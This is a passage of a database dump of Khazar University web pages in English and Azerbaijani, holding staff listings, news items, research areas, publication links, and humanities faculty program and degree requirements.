Teacher&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/Aynur_Gazanfargizi_CV(ENG).pdf\"><img src=\"/files/azelang_depart/images/aynur_gezenfergizi.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aynur Gazanfargizi</a></strong></p><p>PhD in&nbsp;Folklore (Folklore Institute,&nbsp;Azerbaijan&nbsp;National Academy of Sciences)</p><p>Master in&nbsp;Theory of Literature (Azerbaijan State Pedagogical University)  </p><p style=\"padding-left:160px\"><strong><em>Research interests:&nbsp;</em></strong>Turkic mythology, Turkic literature, Literature, Folklore, Shamanism, Tengrism</p><p style=\"padding-left:160px\"><strong>Position:</strong>&nbsp;Teacher</p>  \r\n<hr>\r\n<p><strong><img src=\"/files/azelang_depart/images/getibe_guliyeva.jpg\" style=\"width:150px;height:226px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/azelang_depart/CV/getibe_guliyeva_CV.pdf\">Gatiba Guliyeva</a></strong></p><p>PhD in Turkic Languages&nbsp;(Institute&nbsp;of Linguistics named after&nbsp;Nasimi, Azerbaijan&nbsp;National Academy of Sciences)</p><p>Master in&nbsp;Linguistics/Turkology&nbsp;(Baku State University, Azerbaijan)</p><p><strong></strong><strong>Position:</strong>&nbsp;Teacher  <br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/azelang_depart/images/hilale_ibadova.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/hilale_ibadova_CV.pdf\">Hilale Ibadova</a></strong></p><p>PhD in Folklore&nbsp;(Azerbaijan National Academy of Sciences)</p><p>Master in&nbsp;Philology/Azerbaijan Literature&nbsp;(Sumgait&nbsp;State University, Azerbaijan)</p><p><strong></strong><strong>Position:</strong>&nbsp;Teacher&nbsp;</p><p><br></p><p><br></p> \r\n<hr>\r\n<p><img src=\"/files/azelang_depart/images/zamina_ziyayeva.jpg\" style=\"width:150px;height:115px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/zamina_ziyayeva_cv.pdf\">Zamina Ziyayeva</a></strong></p><p>PhD in&nbsp;Modern Turkic Languages and Literatures  (Ankara&nbsp;University,&nbsp;Turkey)</p><p>MS in&nbsp;Modern Turkic Languages and Literatures&nbsp;(Ankara&nbsp;University,&nbsp;Turkey)  </p><p style=\"padding-left:160px\"><strong style=\"font-weight:bold\">Position:</strong><strong>&nbsp;</strong>Teacher</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/leyla_yusifova_cv.pdf\"><img src=\"/files/azelang_depart/images/leyla_yusifova.jpg\" style=\"width:150px;height:162px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Leyla Yusifova</a></strong></p><p style=\"padding-left:0px\">PhD in Philology&nbsp;(Azerbaijan National Academy of Sciences)  <br></p><p style=\"padding-left:0px\">MS in&nbsp;General Linguistics&nbsp;(Baku State University, Azerbaijan)</p><p style=\"padding-left:0px\"><strong>Position: </strong>Teacher</p><p style=\"padding-left:0px\"><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/kamila_badalova_CV.PDF\"><img src=\"/files/azelang_depart/images/kamila_badalova.jpg\" style=\"width:150px;height:235px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kamila Badalova</a></strong></p><p><strong>Position:</strong>  Assistant</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:kbadalova@khazar.org\">kbadalova[at]khazar.org</a>    </p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (228)  </p><p><br></p>'),(1857,1143,'en','Dunya School Founder Wins Award','According to ATV.az news, the Jafar Jabbarli Award Ceremony was held on May 23, 2016 in Azerbaijan State Theater of Young Spectators in honor of Republic Day.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">According to <strong>ATV.az</strong> news, the\r\nJafar Jabbarli Award Ceremony was held on May 23, 2016 in Azerbaijan State\r\nTheater of Young Spectators in honor of Republic Day. <o:p></o:p></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Nailakhanim Isayeva, founder of Khazar\r\nUniversity’s affiliate Dunya School, and Murad Allahverdi, artistic director of\r\nDunya School theater, were awarded a Special Certificate. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">More detailed information is available\r\n(in Azerbaijani) at the following links: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.atv.az/az/culture/69748-onlar-cefer-cabbarli-mukafatina-layiq-gorulduler\">http://news.atv.az/az/culture/69748-onlar-cefer-cabbarli-mukafatina-layiq-gorulduler</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kepeztv.az/news/id/13373\">http://kepeztv.az/news/id/13373</a>.&nbsp;</p>  <br>'),(495,324,'az','Tədqiqat  Sahəsi','Tədqiqat  Sahəsi','<p></p><ul><li>Azərbaycan Mühacirət Ədəbiyyatı</li><li>Azərbaycan Dialektologiyası</li><li>Türk dili və Ədəbiyyatı</li><li>Dünya ədəbiyyatında Azərbaycan ədəbiyyatı</li><li>Azərbaycan Dilinin Tarixi Qrammatikası</li><li>Linqvistik Təhlil</li><li>Mədhiyyə Ədəbiyyatı</li></ul><p></p><br><strong></strong>'),(4766,2803,'en','November number of “Khazar-Review” journal is out','November number, (number 367) of “Khazar-Review” of 2017, was published in publishing house of Khazar University...','<p>November number, (number 367) of “Khazar-Review” of 2017, was published in publishing house of Khazar University.&nbsp;</p><p>Journal link:&nbsp;</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>  </p>'),(496,324,'en','Research','Research','<p></p><ul><li>Azerbaijani Immigrant Literature</li><li>Azerbaijani Dialectology</li><li>Turkic Language and Literature</li><li>Azerbaijani Literature in World Literary</li><li>Azerbaijani Historical Grammar</li><li>Linguistic Analysis</li><li>Panegyrical Literature</li></ul><p></p>'),(497,325,'az','Nəşrlər','Nəşrlər','<p><a href=\"http://www.khazar.org/files/azelang_depart/Cahid%20Kazimov.pdf\">Cahid Kazımov</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Elmira_Memmedova-Kekec_pub.pdf\">Elmira&nbsp;Məmmədova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Publications_Elza_Semedova.pdf\">Elza&nbsp;Səmədova</a></p><p><a href=\"http://www.khazar.org/files/Publications_Elza_Semedova.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Publications_Dilber_Zeynalova.pdf\">Dilbər&nbsp;Zeynalova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Elza_%C4%B0smay%C4%B1lova_pub.pdf\">Elza İsmayılova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Vur%C4%9Fun_%C6%8Fyyub_pub.pdf\">Vurğun Əyyub</a></p><p><a href=\"http://www.khazar.org/files/pdf/Reyhan_Medetova_pub.pdf\">Reyhan Mədətova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva_pub.pdf\">Sevinc Ağayeva</a><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva_pub.pdf\"></a><br></p><p><a href=\"http://www.khazar.org/files/pdf/%C4%B0lahe_Qurbanova_pub.pdf\">İlahə Qurbanova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Qarda%C5%9Fxan%20%C6%8Fzizxanl%C4%B1.pdf\">Qardaşxan Əzizxanlı<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Pervin%20Eyvazov.pdf\">Pərvin Eyvazov<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Xatire%20Yusifova.pdf\">Xatirə&nbsp;Yusifova<br></a></p><p><a href=\"http://www.khazar.org/files/pdf/%C4%B0lah%C9%99_Hac%C4%B1yeva_pub.pdf\">İlahə Hacıyeva</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/T%C3%BCnzal%C9%99%20S.%20meqalelerin%20siyahisi.docx\">Tünzalə Seyfullayeva</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/AMEA%20siyahi%20may%202017.docx\">Qətibə Mahmudova</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Z%C4%B0V%C6%8FR%20H%C3%9CSEYN%20q%C4%B1z%C4%B1%20%20H%C3%9CSEYNL%C4%B0%20BAYLANIN%20Elmi%20%C9%99s%C9%99rl%C9%99rinin%20siyah%C4%B1s%C4%B1%202017.docx\">Zivər Hüseynli</a></p>'),(498,325,'en','Publications','Publications','<p style=\"color:#0033cc\"><a href=\"http://www.khazar.org/files/azelang_depart/Cahid%20Kazimov.pdf\">Cahid Kazimov</a><a href=\"http://www.khazar.org/files/pdf/Cahid_Kazimov_pub.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Elmira_Memmedova-Kekec_pub.pdf\">Elmira&nbsp;Mammadova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Publications_Elza_Semedova.pdf\">Elza&nbsp;Semedova</a></p><p><a href=\"http://www.khazar.org/files/Publications_Elza_Semedova.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Publications_Dilber_Zeynalova.pdf\">Dilbar&nbsp;Zeynalova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Elza_%C4%B0smay%C4%B1lova_pub.pdf\">Elza Ismayilova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Vur%C4%9Fun_%C6%8Fyyub_pub.pdf\">Vurgun Eyyub</a></p><p><a href=\"http://www.khazar.org/files/pdf/Reyhan_Medetova_pub.pdf\">Reyhan Madatova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva_pub.pdf\">Sevinj Agayeva</a><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva_pub.pdf\"></a><br></p><p><a href=\"http://www.khazar.org/files/pdf/%C4%B0lahe_Qurbanova_pub.pdf\">Ilaha Gurbanova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Qarda%C5%9Fxan%20%C6%8Fzizxanl%C4%B1.pdf\">Gardashkhan&nbsp;Azizkhanli<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Pervin%20Eyvazov.pdf\">Parvin Eyvazov<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Xatire%20Yusifova.pdf\">Xatira&nbsp;Yusifova<br></a></p><p><a href=\"http://www.khazar.org/files/pdf/%C4%B0lah%C9%99_Hac%C4%B1yeva_pub.pdf\">Ilaha Hajiyeva</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/T%C3%BCnzal%C9%99%20S.%20meqalelerin%20siyahisi.docx\">Tunzala Seyfullayeva</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/AMEA%20siyahi%20may%202017.docx\">Gatiba Mahmudova</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Ziv%C9%99r%20H%C3%BCseynli.Elmi%20%C9%99s%C9%99rl%C9%99rin%20siyah%C4%B1s%C4%B1-2017.doc\"></a><a href=\"http://www.khazar.org/files/azelang_depart/Z%C4%B0V%C6%8FR%20H%C3%9CSEYN%20q%C4%B1z%C4%B1%20%20H%C3%9CSEYNL%C4%B0%20BAYLANIN%20Elmi%20%C9%99s%C9%99rl%C9%99rinin%20siyah%C4%B1s%C4%B1%202017.docx\">Zivar Huseynli</a><br></p>'),(1638,1012,'az','“Xəzər”in tələbəsi əlbəyaxa döyüşün qalibi oldu','2016-cı il aprelin 15-dən 17-dək Xəzər Universiteti Təhsil fakültəsinin filologiya ixtisasının 3-cü kurs tələbəsi Coşqun Məmmədov (85+kq çəki dərəcəsi) əlbəyaxa döyüş növləri üzrə Gürcüstanın Batumi şəhərində Avrasiya kuboku uğrunda mübarizə aparmışdır.','<p>2016-cı il aprelin 15-dən 17-dək Xəzər Universiteti Təhsil fakültəsinin\r\nfilologiya ixtisasının 3-cü kurs tələbəsi Coşqun Məmmədov (85+kq çəki dərəcəsi)\r\nəlbəyaxa döyüş növləri üzrə Gürcüstanın Batumi şəhərində Avrasiya kuboku\r\nuğrunda mübarizə aparmışdır. C.Məmmədov 1-ci turda İranlı döyüşcü (Bəhmən) ilə\r\nqarşılaşmış və qalib olmuşdur. 2-ci turda erməni əsilli gürcü ilə\r\nqarşılaşmışdır. Lakin həmin döyüşcü qarşılaşmadan imtina etmişdir. Coşqun Məmmədov\r\nFinalda iranlı döyüşcü (Haşim) ilə qarşılaşmada məğlub olaraq, 2-ci yerə layiq\r\ngörülmüşdür. Qeyd etmək istərdik ki, Coşqun Məmmədov 90+kq çəki dərəcəsindədir.\r\nBu çəki dərəcəsində döyüşcü olmadığı üçün Coşqun Məmmədov 1-ci yerə də layiq\r\ngörülmüşdür.</p>'),(499,327,'az','Məqsədlər','Məqsədlər','<p style=\"font-family: \'times new roman\', times, serif; font-size: medium;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:8.05pt\"\"=\"\"><strong><br></strong></p><p style=\"font-family: arial, helvetica, sans-serif; font-size: medium;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:8.05pt\"\"=\"\"><strong><img src=\"/files/image/15_11_26_blog-image-cost-objective.jpg\" style=\"width:350px;height:233px;margin:7px;vertical-align:middle\"><br></strong></p><p style=\"font-family: arial, helvetica, sans-serif; font-size: medium;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:8.05pt\"\"=\"\"><br></p><h4><span style=\"color:#0000ff\"><strong style=\"color:#000000\">Məqsədlər</strong></span></h4><p><span style=\"font-family:arial, helvetica, sans-serif\"></span></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Humanitar və Sosial elmlər fakültəsinin\r\nqeyri-ənənəvi anlamda tələbələrə təklif etdiyi proqram və kurslarına daxil olan\r\nfənn proqramlarına uyğun olaraq əsasən,</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:15.0pt;text-indent:-.25in;line-height:normal;background:white\";margin-bottom:auto\"=\"\">·İxtisasa uyğun olaraq aparılan araşdırmalar</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:15.0pt;text-indent:-.25in;line-height:normal;background:white\";margin-bottom:auto\"=\"\">·Əxlaqi və Taktiki (hərəkət tərzi) dəyərlər</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:15.0pt;text-indent:-.25in;line-height:normal;background:white\";margin-bottom:auto\"=\"\">·İxtisas təcrübəsində tarixi ve sosial perspektivləri</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">kimi sahələrdə daha dəyərli araşdırmalar aparmaq\r\nimkanı verir. Bu fakültədə ölkədə fəaliyyət göstərən digər&nbsp;ali təhsil\r\nmərkəzləri ilə müqayisə olunmayacaq&nbsp;səviyyədə&nbsp;Avropa və Müasir Şərq\r\ndillərinin öyrədilməsi proqramı tədris olunur. İncəsənət və Musiqi sahəsində\r\ntətbiq olunan yüksək səviyyəli proqramlar Xəzər Universitetinin bütün\r\nfakültələrində tətbiq olunmaqla yanaşı, bütün tələbələr bu sahə üzrə ən\r\nazı&nbsp;bir neçə kurs keçmək məcburiyyətindədir. Bu model Azərbaycanda\r\nfəaliyyət göstərən Universitetlər tərəfindən də istifadə olunmağa başlayıb. Dərslər\r\nİngilis dilində keçirilməklə yanaşı, ikinci dil kimi Ərəb və ya Fars dillərini\r\ndə öyrənirlər. Bundan başqa, tələbələr Fransız, Alman, Çin, Koreya və başqa\r\ndilləri öyrənmək kimi imkanlar əldə edirlər. Humanitar və Sosial elmlər\r\nfakültəsinin proqram qaydalarına uyğun olaraq, Bakalavriat səviyyəsində İngilis\r\ndili&nbsp;və ədəbiyyat, Politologiya, Beynəlxalq münasibətlər, Tərcümə,\r\nRegionşünaslıq, Psixologiya və Dizayn proqramları da öyrədilir.&nbsp;</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">Humanitar\r\nvə Sosial elmlər fakültəsinin əsas məqsədləri təhsilin müxtəlif sahələrində\r\ntədqiqat aparmaq üçün təhsil siyasəti və strategiyası hazırlamaq, humanitar və\r\nsosial elmləri üzrə savadlı kadrlar yetişdirmək və onları qabaqcıl bilik və\r\nmüasir tədris metodları ilə təmin etməkdir. Bilik və bacarıqların ötürülməsinə\r\nxüsusi diqqət verilir ki, bu da tələbələrimizə milli dəyər və\r\nənənələrimizi&nbsp;onların gələcək tədris, elmi-tədqiqat və insanın inkişaf\r\nfəaliyyətinin ümumbəşəri dəyər və normaları ilə birləşdirməyə imkan\r\nverəcək.&nbsp;</p>  <br>'),(500,327,'en',' Rationale and Objectives',' Rationale and Objectives','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"http://www.khazar.org/files/image/15_11_26_blog-image-cost-objective.jpg\" style=\"border:0px #000000;width:350px;height:233px;margin:7px;float:left;vertical-align:baseline\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><h4><span style=\"color:#0000ff\"><strong style=\"color:#000000\">Rationale and Objectives</strong></span></h4><p>&nbsp;</p><p style=\"text-align:justify\">The SHSS is an organic academic unit where most of the programs and courses offered involve nontraditional concepts, explore interdisciplinary topics, and enable students to gain valuable exposure to:</p><p style=\"text-align:justify\">•&nbsp;research frontiers in the professions</p><p style=\"text-align:justify\">•&nbsp;policy and ethical issues</p><p style=\"text-align:justify\">•&nbsp;historical and social perspectives on professional practice</p><p style=\"text-align:justify\">The original programs of studying European and Modern Eastern Languages in the School could be valued as a phenomenon in comparison with other higher learning institutions in the country. The highly-developed programs in music and fine arts, apart from enjoying a special status across all schools at Khazar – since the study of at least several courses in this prog</p><p style=\"text-align:justify\">Besides taking the courses of English and a Second Language, namely Arabic or Persian, students have a wide scope of opportunity to master other languages such as French, German, Italian, Chinese,&nbsp;Korean and more&nbsp;is obligatory for all students – are being increasingly used as models by other universities in Azerbaijan.</p><p style=\"text-align:justify\">At SHSS students have an opportunity to gain knowledge and polish skills across a variety of disciplines in Humanities and Social Sciences, including English languages and literature, Political Science and International relations, Psychology, and&nbsp;Design programs.&nbsp;<strong></strong></p>\r\n<p style=\"text-align:justify\">Accordingly, the main objectives of the School of Humanities and Social sciences are to conduct research in various fields of education, to develop educational policy and strategy, and to nurture future teachers with a breadth of knowledge in education, humanities, and sciences and equip them with advanced skills and modern teaching methods. Special attention is paid to transferring skills and knowledge that would enable the students to creatively combine national values and traditions with universal values and norms in their future teaching, research, and human development activities.</p>'),(501,328,'az','Proqram və dərəcələr','Proqram və dərəcələr','<p style=\"text-align:center\"><strong><img src=\"/files/image/15_10_14_Degree-Programs-Main-Use.gif\" style=\"width:350px;height:164px;margin:7px;vertical-align:middle\"><br></strong></p><br><ul><li style=\"text-align:justify\">İngilis dili və Ədəbiyyatı departamenti - bakalavr dərəcəsi üçün İngilis dili və ədəbiyyatı, Tərcümə ixtisaslarına aid proqramlar təklif edir. Magistr dərəcəsi üçün Dilşünaslıq (İngilis dili) və Tərcümə (İngilis dili) ixtisaslarına aid proqramlar təklif edir.  </li></ul><ul><li style=\"text-align:justify\">Siyasi elmlər ve Beynəlxalq Münasibətlər departamenti - bakalavr dərəcəsi üçün Regionşünaslıq, Politologiya və Beynəlxalq münasibətlər ixtisaslarına aid proqramlar təklif edir. Magistr dərəcəsi üçün isə Konfliktologiya, Beynəlxalq münasibətlər və diplomatiya, Beynəlxalq münasibətlər tarixi və nəzəriyyəsi, Regionşünaslıq, Dünya siyasi prosesləri ixtisaslarına aid proqramlar təklif edir.  </li></ul><ul><li style=\"text-align:justify\">Psixologiya departamenti bakalavr dərəcəsi üçün Psixologiya istisasına aid proqram təklif edir. Magistr dərəcəsi üçün Klinik psixologiya və Ümumi psixologiya ixtisaslarına aid proqramlar təklif edir.  </li></ul><ul><li style=\"text-align:justify\">Jurnalistika departamenti yalnız magistr&nbsp;dərəcələri üçün Beynəlxalq Juranalistika və Radiotelejurnalistika ixtisaslarına aid proqramlar təklif edir.<br></li></ul><ul><li style=\"text-align:justify\">Beləliklə, fakültədə magistr dərəcəsi üçün hazırlanan proqramlara Dilşünaslıq (İngilis dili),&nbsp;Beynəlxalq Münasibətlər, Konfliktologiya, Regionşünaslıq, Beynəlxalq münasibətlər və diplomatiya, Dünya siyasi prosesləri, Beynəlxalq münasibətlər tarixi və nəzəriyyəsi, Tərcümə, Beynəlxalq Juranalistika, Radiotelejurnalistika, Klinik psixologiya və Ümumi psixologiya kimi ixtisaslar daxildir.</li></ul>'),(4230,2486,'en','A session entitled “In the shadow of Jalal-ad-Din Rumi” was co-chaired by Professor Hamlet Isakhanli','On October 8, Islamic World Academy of Sciences started its 21st conference in Konya, Turkey...','<p>On October 8, Islamic World Academy of Sciences started its 21<sup>st</sup> conference in Konya, Turkey. The first session of the conference entitled&nbsp;“<em>In the shadow of Jalal-ad-Din Rumi</em>” was started and completed under the co-chairmanship of Professor Hamlet Isakhanli, the founder of Khazar University, Chairman of the Board of Directors and Trustees. H. Isakhanli opened the session with introductory words, briefly spoke about J.Rumi, gave information on Khazar University and Euroasian Academy.</p><p>In conclusion, Hamlet Isakhanli expressed his opinions about reports, discussions around the reports and reasons of worldwide recognition of J.Rumi, translation of the Eastern poetry in the West.</p>'),(502,328,'en',' Programs and Degrees',' Programs and Degrees','<p style=\"text-align:center\"><img src=\"/files/image/15_10_14_Degree-Programs-Main-Use.gif\" style=\"border:0px #000000;width:350px;height:164px;margin:7px;vertical-align:middle\"></p><ul type=\"disc\"><li style=\"text-align:justify\">English language and literature Department offers for a bachelor degree, English language and literature, Translation programs. For the master, degree Department offers Linguistics (in English) and Translation (in English) programs.</li>\r\n</ul>\r\n<ul type=\"disc\">\r\n <li>Political Science and International Relations Department offers for a bachelor degree, Area Studies, Political Science and International Relations programs. For the master degree Department offers programs in the field of Conflictology, International Relations and Diplomacy, History&nbsp;and&nbsp;Theory of International Relations, Area Studies and World Political Processes.</li>\r\n</ul>  <ul><li style=\"text-align:justify\">Psychology Department offers for a bachelor degree, Psychology program. The Department offers for master degree programs in Clinical Psychology and General Psychology.</li></ul><ul><li style=\"text-align:justify\">The Department of Journalism offers International Journalism and Radiotelejournalism programs only for Master\'s degrees.</li></ul>'),(503,329,'az','Bakalavr Dərəcəsi üçün qoyulan tələblər','Bakalavr Dərəcəsi üçün qoyulan tələblər','<p style=\"text-align:justify\">Bakalavr dərəcəsi üzrə tələbələr müəyyən krediti toplayaraq ixtisasları üzrə lazımı tələblərə&nbsp; cavab verməlidir. Belə ki, təhsilin tamamlanması üçün ümumilikdə 132 kredit (264 AKTS), ixtisas üzrə isə 72 kredit (154 AKTS) toplanımalıdır.</p><p style=\"text-align:justify\">Hər tələbə Bakalavr dərəcəsini bitirmək üçün lazım olan 3 əsas tələbi yerinə yetirməlidir:</p><ul><li><em>Universitet tələbləri</em></li><li><em>Ümumtəhsil tələbləri</em></li><li><em>İxtisasla bağlı tələblər</em></li></ul><p style=\"text-align:justify\">&nbsp;<em>Universitet tələbləri:</em>&nbsp;Ümumi 27 kreditdən (54 AKTS) ibarət olan İngilis dili və Azərbaycanşünaslıq bölməsidir.</p><p style=\"text-align:justify\">&nbsp;İngilis dili – &nbsp;aşağıdakı proqramlardan ibarətdir:</p><ul><li><em>Eşidib anlama və nitq Oxuyub anlama və yazı-1 </em>(4 kredit) 8 ECTS</li><li><em>Eşidib anlama və nitq Oxuyub anlama və yazı-2 </em>(4 kredit)&nbsp;8 ECTS  </li><li><em>Eşidib anlama və nitq Oxuyub anlama və yazı-3 </em>(4 kredit)&nbsp;8 ECTS  </li></ul><div style=\"text-align:justify\"><br></div><p style=\"text-align:justify\">Xüsusi sahələr üçün İngilis dili&nbsp;(ESP)&nbsp;və İngilis dili ikinci dil kimi&nbsp;(ESL) (3 kredit) 6 AKTS</p><p style=\"text-align:justify\">&nbsp;* Qeyd: İngilis dili və ədəbiyyatı, Tərcümə və Jurnalistika / İngilis dili ixtisası üzrə təhsil alan tələbələrə ESL fənni əvəzinə ESP fənni təklif olunur.</p><p style=\"text-align:justify\">Azərbaycanşünaslıq bölməsi 12 kreditdən (24 AKTS) ibarətdir:</p><ul><li><em>Azərbaycan dili-1 &nbsp;</em>(3 kredit) 6 AKTS</li><li><em>Azərbaycan ədəbiyyatı-1 </em>(3 kredit) 6 AKTS    </li><li><em>Azərbaycan&nbsp; mədəniyyəti&nbsp; </em>(3 kredit) 6 AKTS    </li><li><em>Azərbaycan tarixi </em>(3 kredit) 6 AKTS   <br></li></ul><p style=\"text-align:justify\">&nbsp;Ümumi Təhsil tələbləri- Minimum 21 kreditdən (42 AKTS  ) ibarət olan 3 əsas hissəni təşkil edir.</p><p style=\"text-align:justify\">Ümumtəhsil tələbləri bakalavr dərəcəsi üzrə təhsil alan tələbələrə ixtisasdan əlavə müxtəlif elmi sahələri öyrənməyi təşkil edir. Tələbənin ixtisasının mahiyyətindən asılı olmayaraq Ümumtəhsil Tələbləri tələbələrin intellektual perspektivlərinin genişləndirmək və gələcəkdə cəmiyyətdə ali-təhsilli bir şəxs kimi yetişmək imkanı verir. İxtisas fənnləri ilə yanaşı, tələblər artıq birinci və ikinci kursda&nbsp; Ümumtəhsil tələblərin təklif etdiyi fənləri götürürlər. Aşağıda qeyd olunan 3 hissədən ibarət olan Ümutəhsil Tələbləri bölməsində 21 kredit (42 AKTS  ) tamamlanmalıdır:</p><ul><li><em>&nbsp;Humanitar</em></li><li><em>&nbsp;Sosial Elmlər</em></li><li><em>&nbsp;Elm və Texnologiya</em></li></ul><p style=\"text-align:justify\">&nbsp;<em>Humanitar fənnlər:</em>&nbsp;Bu bölmədə əsasən Ədəbiyyat, Dil və Dilçilik, Fəlsəfə, Tarix, Mədəniyyət və Sivilizasiya, İncəsənət və İncəsənət tarixi kimi fənnlər təklif edilir. Tələbələrdən bu sahə üzrə&nbsp; hər kurs&nbsp;3 kredit (6 AKTS  ) olmaq şərtilə ən azı 2&nbsp; kursu bitirmələri tələb olunur.&nbsp;</p><p style=\"text-align:justify\">&nbsp;<em>Sosial fənnlər:</em>&nbsp;Bu bölmədə Tarix, Coğrafiya, Siyasi Elmlər, Beynəlxalq münasibətlər, Hüquq və Hökumət, Antropologiya, İqtisadiyyat, Sosiologiya və Psixologiya kimi fənlər təklif olunur.&nbsp;Tələbələrdən bu sahə üzrə hər kurs&nbsp;3 kredit (6 AKTS  ) olmaq şərtilə ən azı 2&nbsp; kursu bitirmələri tələb olunur.</p><p style=\"text-align:justify\">&nbsp;<em>Elm və Texnologiya&nbsp;</em>bölməsi Ümumtəhsil Tələblərin əsas hissələrindən biri olmaqla yanaşı, 3 hissəyə bölünür:</p><ul><li><em>Fiziki Elmlər və Riyaziyyat</em></li><li><em>Həyat&nbsp;elmləri</em></li><li><em>Kompüter elmləri</em></li></ul><p style=\"text-align:justify\">Tələbələr - Riyaziyyat, Kompüter Elmi, Fizika, Kimya, Astronomiya, Coğrafiya və Ətraf mühitlə bağlı fənnlər, Geologiya, Bioloji Elmlər və Antropologiya, Tibb Elmlərinə aid fənlərdən keçərək bu bölməni bitirə bilərlər. Tələbələr bu sahə üzrə&nbsp; hər kurs 3 kredit&nbsp;(6&nbsp;AKTS  ) olmaq şərtilə ən azı 3&nbsp;kursu keçərək 9 kredit (18 AKTS&nbsp;) toplamalıdırlar.&nbsp;Təklif olunan fənlərdə tətbiq olunan metodlardan və kursların mahiyyətindən asılı olaraq fənlər müxtəlif bölümlərə də aid ola bilər. Misal olaraq, Antropologiya, Psixologiya və Coğrafiya Sosial Elmlər bölümünə, eyni zamanda da Təbiət Elmləri bölümünə&nbsp; aid ola bilər.&nbsp;</p><p style=\"text-align:justify\"><em>Sərbəst Fənn seçimi-&nbsp;</em>Bu bölümdə heç bir məhdudiyyət qoyulmadan, tələbələr 6 kreditdən (12 AKTS  )&nbsp; ibarət olan&nbsp; ən azı 2 əlavə ixtisas və ya qeyri-ixtisas fənləri götürə bilərlər.</p>'),(2171,1332,'en','Meeting for Freshmen in Archeology Department','On September 15, 2016, the Khazar University Department of History and Archeology held a meeting for freshmen. Associate Professor Roza Arazova...','<p>On\r\nSeptember 15, 2016, the Khazar University Department of 